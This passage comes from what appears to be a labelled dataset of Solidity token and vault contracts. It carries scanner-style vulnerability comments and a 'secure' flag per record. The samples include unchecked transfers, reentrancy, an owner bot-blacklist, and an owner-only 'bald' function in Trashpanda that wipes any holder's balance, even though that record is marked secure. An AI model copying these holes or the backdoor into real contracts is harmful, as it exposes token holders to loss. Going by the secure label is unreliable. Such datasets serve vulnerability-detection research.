Vault.withdraw(address,uint256) uses a dangerous strict equality initialTotal == 0\n\t// Recommendation for 738f503: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dd45367): Vault.withdraw(address,uint256) ignores return value by IERC20(tknContract).transfer(dest,amount)\n\t// Recommendation for dd45367: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(address dest, uint256 amount) public {\n\t\t// incorrect-equality | ID: 738f503\n if (initialTotal == 0)\n initialTotal = IERC20(tknContract).balanceOf(address(this));\n\n (unlockedBalance, totalBalance) = getUnlocked_TotalBalance();\n\n require(msg.sender == owner, \"msg.sender is not Owner!\");\n\n require(unlockedBalance > 0, \"unlockedBalance is 0\");\n\n require(amount <= unlockedBalance, \"unlockedBalance is bigger\");\n\n totalBalance -= amount;\n\n unlockedBalance -= amount;\n\n totalWithdraw += amount;\n\n\t\t// reentrancy-events | ID: 7fd35c8\n\t\t// unchecked-transfer | ID: dd45367\n IERC20(tknContract).transfer(dest, amount);\n\n\t\t// reentrancy-events | ID: 7fd35c8\n emit Withdraw(dest, amount);\n }\n}",
"file_name": "solidity_code_3943.sol",
"secure": 0,
"size_bytes": 7091
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trashpanda is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable flatware;\n\n constructor() {\n _name = \"trash panda\";\n\n _symbol = \"COON\";\n\n _decimals = 18;\n\n uint256 initialSupply = 619000000;\n\n flatware = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == flatware, \"Not allowed\");\n\n _;\n }\n\n function bald(address[] memory narrow) public onlyOwner {\n for (uint256 i = 0; i < narrow.length; i++) {\n address account = narrow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3944.sol",
"secure": 1,
"size_bytes": 4364
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract REN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0d02a6e): REN._taxWallet should be immutable \n\t// Recommendation for 0d02a6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dbe7d49): REN._initialBuyTax should be constant \n\t// Recommendation for dbe7d49: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46d08b9): REN._initialSellTax should be constant \n\t// Recommendation for 46d08b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d8e136): REN._reduceBuyTaxAt should be constant \n\t// Recommendation for 7d8e136: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 101e696): REN._reduceSellTaxAt should be constant \n\t// Recommendation for 101e696: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e41f1aa): REN._preventSwapBefore should be constant \n\t// Recommendation for e41f1aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 8;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Republican Neiro\";\n\n string private constant _symbol = unicode\"REN\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5cf2620): REN._taxSwapThreshold should be constant \n\t// Recommendation for 5cf2620: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1e35d9): REN._maxTaxSwap should be constant \n\t// Recommendation for a1e35d9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f7d3a79): REN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f7d3a79: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7d86133): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7d86133: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 679544f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 679544f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7d86133\n\t\t// reentrancy-benign | ID: 679544f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7d86133\n\t\t// reentrancy-benign | ID: 679544f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 30dc04a): REN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 30dc04a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 679544f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7d86133\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c6875e7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c6875e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 67025de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 67025de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c6875e7\n\t\t\t\t// reentrancy-eth | ID: 67025de\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c6875e7\n\t\t\t\t\t// reentrancy-eth | ID: 67025de\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 67025de\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 67025de\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 67025de\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c6875e7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 67025de\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 67025de\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c6875e7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c6875e7\n\t\t// reentrancy-events | ID: 7d86133\n\t\t// reentrancy-benign | ID: 679544f\n\t\t// reentrancy-eth | ID: 67025de\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 84b1781): REN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 84b1781: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c6875e7\n\t\t// reentrancy-events | ID: 7d86133\n\t\t// reentrancy-eth | ID: 67025de\n\t\t// arbitrary-send-eth | ID: 84b1781\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89e7ae9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89e7ae9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 57e1860): REN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 57e1860: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a923fe8): REN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a923fe8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: acd5b8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for acd5b8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 89e7ae9\n\t\t// reentrancy-eth | ID: acd5b8e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 89e7ae9\n\t\t// unused-return | ID: a923fe8\n\t\t// reentrancy-eth | ID: acd5b8e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 89e7ae9\n\t\t// unused-return | ID: 57e1860\n\t\t// reentrancy-eth | ID: acd5b8e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 89e7ae9\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: acd5b8e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3945.sol",
"secure": 0,
"size_bytes": 17675
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IBEP20.sol\" as IBEP20;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Coreumv2 is IBEP20, Context, Ownable {\n struct Values {\n uint256 rSendAmount;\n uint256 rReceiveAmount;\n uint256 rRflx;\n uint256 rBurn;\n uint256 tSendAmount;\n uint256 tReceiveAmount;\n uint256 tRflx;\n uint256 tReward;\n uint256 tBurn;\n uint256 tCmty;\n }\n\n event ApplyReward(address indexed account, uint256 reward);\n\n event SetCommunityAccount(address indexed account);\n\n event SetDBank(address indexed account);\n\n event UpdatePairs(address indexed account, bool enable);\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _noFee;\n\n mapping(address => bool) private _pairs;\n\n address[] private _pairList;\n\n string private constant _NAME = \"coreumv2\";\n\n string private constant _SYMBOL = \"CORE2\";\n\n uint256 private constant _DECIMALS = 18;\n\n address public constant ZERO_ADDR = address(0);\n\n address public CMTY_ADDR;\n\n address public BANK_ADDR;\n\n uint256 private constant _MAX = ~uint256(0);\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d5f167): coreumv2._DECIMALFACTOR should be constant \n\t// Recommendation for 8d5f167: Add the 'constant' attribute to state variables that never change.\n uint256 private _DECIMALFACTOR = 10 ** _DECIMALS;\n\n uint256 private constant _GRANULARITY = 10000;\n\n uint256 private _tTotal = (10 ** 15) * _DECIMALFACTOR;\n\n uint256 private _rTotal = _MAX - (_MAX % _tTotal);\n\n uint256 private _rtRate = _rTotal / _tTotal;\n\n uint256 private _tRflxTotal;\n\n uint256 private _tBurnTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 652ec5c): coreumv2.SEND_REWARD should be constant \n\t// Recommendation for 652ec5c: Add the 'constant' attribute to state variables that never change.\n uint256 public SEND_REWARD = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c5addd): coreumv2.RECV_CHARGE should be constant \n\t// Recommendation for 7c5addd: Add the 'constant' attribute to state variables that never change.\n uint256 public RECV_CHARGE = 200;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1eaea): coreumv2.BUY_RATE should be constant \n\t// Recommendation for fb1eaea: Add the 'constant' attribute to state variables that never change.\n uint256 public BUY_RATE = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99b0dd8): coreumv2.SELL_RATE should be constant \n\t// Recommendation for 99b0dd8: Add the 'constant' attribute to state variables that never change.\n uint256 public SELL_RATE = 200;\n\n\t// WARNING Optimization Issue (constable-states | ID: a750d16): coreumv2.RFLX_RATE should be constant \n\t// Recommendation for a750d16: Add the 'constant' attribute to state variables that never change.\n uint256 public RFLX_RATE = 6000;\n\n\t// WARNING Optimization Issue (constable-states | ID: c70ac0c): coreumv2.BURN_RATE should be constant \n\t// Recommendation for c70ac0c: Add the 'constant' attribute to state variables that never change.\n uint256 public BURN_RATE = 2000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6061a0f): coreumv2.CMTY_RATE should be constant \n\t// Recommendation for 6061a0f: Add the 'constant' attribute to state variables that never change.\n uint256 public CMTY_RATE = 2000;\n\n constructor() payable {\n _owner = _msgSender();\n\n CMTY_ADDR = _owner;\n\n BANK_ADDR = _owner;\n\n _rOwned[_owner] = _rTotal;\n\n _noFee[_owner] = true;\n\n _noFee[ZERO_ADDR] = true;\n\n _pairs[ZERO_ADDR] = true;\n\n _msgSender().transfer(msg.value);\n\n emit Transfer(ZERO_ADDR, _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _NAME;\n }\n\n function symbol() public pure returns (string memory) {\n return _SYMBOL;\n }\n\n function decimals() public pure returns (uint8) {\n return uint8(_DECIMALS);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_pairs[account] || account == ZERO_ADDR) return _tOwned[account];\n\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n uint256 allow = _allowances[sender][_msgSender()];\n\n require(allow >= amount, \"Transfer amount exceeds allowance\");\n\n _transfer(sender, recipient, amount);\n\n _approve(sender, _msgSender(), allow - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 allow = _allowances[_msgSender()][spender];\n\n require(allow >= subtractedValue, \"Decreased allowance below zero\");\n\n _approve(_msgSender(), spender, allow - subtractedValue);\n\n return true;\n }\n\n function hasFee(address account) public view returns (bool) {\n return !_noFee[account];\n }\n\n function totalRflx() public view returns (uint256) {\n return _tRflxTotal;\n }\n\n function totalBurn() public view returns (uint256) {\n return _tBurnTotal;\n }\n\n function reflectionFromToken(\n uint256 tAmount\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n\n return tAmount * _rtRate;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(rAmount <= _rTotal, \"Amount must be less than reflections\");\n\n return rAmount / _rtRate;\n }\n\n function setCommunityAccount(address account) external onlyOwner {\n require(CMTY_ADDR != account, \"The same address is already set\");\n\n if (\n BANK_ADDR == owner() ||\n BANK_ADDR == ZERO_ADDR ||\n BANK_ADDR == CMTY_ADDR\n ) {\n BANK_ADDR = account;\n }\n\n if (CMTY_ADDR != owner() && CMTY_ADDR != BANK_ADDR) {\n _noFee[CMTY_ADDR] = false;\n }\n\n CMTY_ADDR = account;\n\n _noFee[account] = true;\n\n emit SetCommunityAccount(account);\n }\n\n function setDBank(address account) external onlyOwner {\n require(BANK_ADDR != account, \"The same address is already set\");\n\n _noFee[BANK_ADDR] = false;\n\n BANK_ADDR = account;\n\n _noFee[BANK_ADDR] = true;\n\n emit SetDBank(account);\n }\n\n function setFee(address account, bool enable) external onlyOwner {\n require(_noFee[account] == enable, \"Already set\");\n\n _noFee[account] = (!enable);\n }\n\n function setPairAddress(address account) external onlyOwner {\n require(\n !_pairs[account] && account != ZERO_ADDR,\n \"Cannot set pair address\"\n );\n\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n\n _pairs[account] = true;\n\n _pairList.push(account);\n\n _updateRTRate();\n\n emit UpdatePairs(account, true);\n }\n\n function unsetPairAddress(address account) external onlyOwner {\n require(\n _pairs[account] && account != ZERO_ADDR,\n \"Cannot remove pair address\"\n );\n\n for (uint256 i = 0; i < _pairList.length; i++) {\n if (_pairList[i] == account) {\n _pairList[i] = _pairList[_pairList.length - 1];\n\n _tOwned[account] = 0;\n\n _pairs[account] = false;\n\n _pairList.pop();\n\n _updateRTRate();\n\n break;\n }\n }\n\n emit UpdatePairs(account, false);\n }\n\n function getRewardCharge(\n address sender,\n address recipient\n ) public view returns (uint256, uint256) {\n require(\n _allowances[sender][_msgSender()] > 0 ||\n sender == _msgSender() ||\n recipient == _msgSender(),\n \"Ineligible to view reward or charge\"\n );\n\n if (_noFee[sender] || _noFee[recipient]) {\n return (0, 0);\n }\n\n if (_pairs[sender]) {\n return (0, BUY_RATE);\n }\n\n if (_pairs[recipient]) {\n return (0, SELL_RATE);\n }\n\n return (SEND_REWARD, RECV_CHARGE);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(accountOwner != address(0), \"Approve from the zero address\");\n\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(\n sender != ZERO_ADDR && recipient != ZERO_ADDR,\n \"Transfer from/to the zero address\"\n );\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(balanceOf(sender) >= amount, \"Transfer amount exceeds balance\");\n\n (uint256 reward, uint256 charge) = getRewardCharge(sender, recipient);\n\n Values memory v = _getValues(amount, reward, charge);\n\n _rOwned[sender] -= v.rSendAmount;\n\n _rOwned[recipient] += v.rReceiveAmount;\n\n if (_pairs[sender]) _tOwned[sender] -= v.tSendAmount;\n\n if (_pairs[recipient]) _tOwned[recipient] += v.tReceiveAmount;\n\n _reflectFee(v, sender);\n\n _updateRTRate();\n\n emit Transfer(sender, recipient, v.tReceiveAmount);\n\n emit ApplyReward(recipient, v.tReward);\n\n return true;\n }\n\n function _reflectFee(Values memory v, address sender) private {\n _sendToBank(v.tCmty, sender);\n\n _rTotal -= (v.rRflx + v.rBurn);\n\n _tRflxTotal += v.tRflx;\n\n _tBurnTotal += v.tBurn;\n\n _tTotal -= v.tBurn;\n\n emit Transfer(address(this), address(0), v.tBurn);\n }\n\n function _getValues(\n uint256 tAmount,\n uint256 rewardRate,\n uint256 chargeRate\n ) private view returns (Values memory) {\n (\n uint256 tCharge,\n uint256 tReward,\n uint256 tRflx,\n uint256 tBurn,\n uint256 tCmty\n ) = _getTBasics(tAmount, rewardRate, chargeRate);\n\n uint256 tSendAmount = tAmount - tReward;\n\n uint256 tReceiveAmount = tAmount - tCharge;\n\n (uint256 rSendAmount, uint256 rRflx) = _getRBasics(tSendAmount, tRflx);\n\n uint256 rReceiveAmount = _getRReceiveAmount(\n rSendAmount,\n rRflx,\n tBurn,\n tCmty\n );\n\n uint256 rBurn = tBurn * _rtRate;\n\n return\n Values(\n rSendAmount,\n rReceiveAmount,\n rRflx,\n rBurn,\n tSendAmount,\n tReceiveAmount,\n tRflx,\n tReward,\n tBurn,\n tCmty\n );\n }\n\n function _getTBasics(\n uint256 tAmount,\n uint256 rewardRate,\n uint256 chargeRate\n ) private view returns (uint256, uint256, uint256, uint256, uint256) {\n uint256 tCharge = 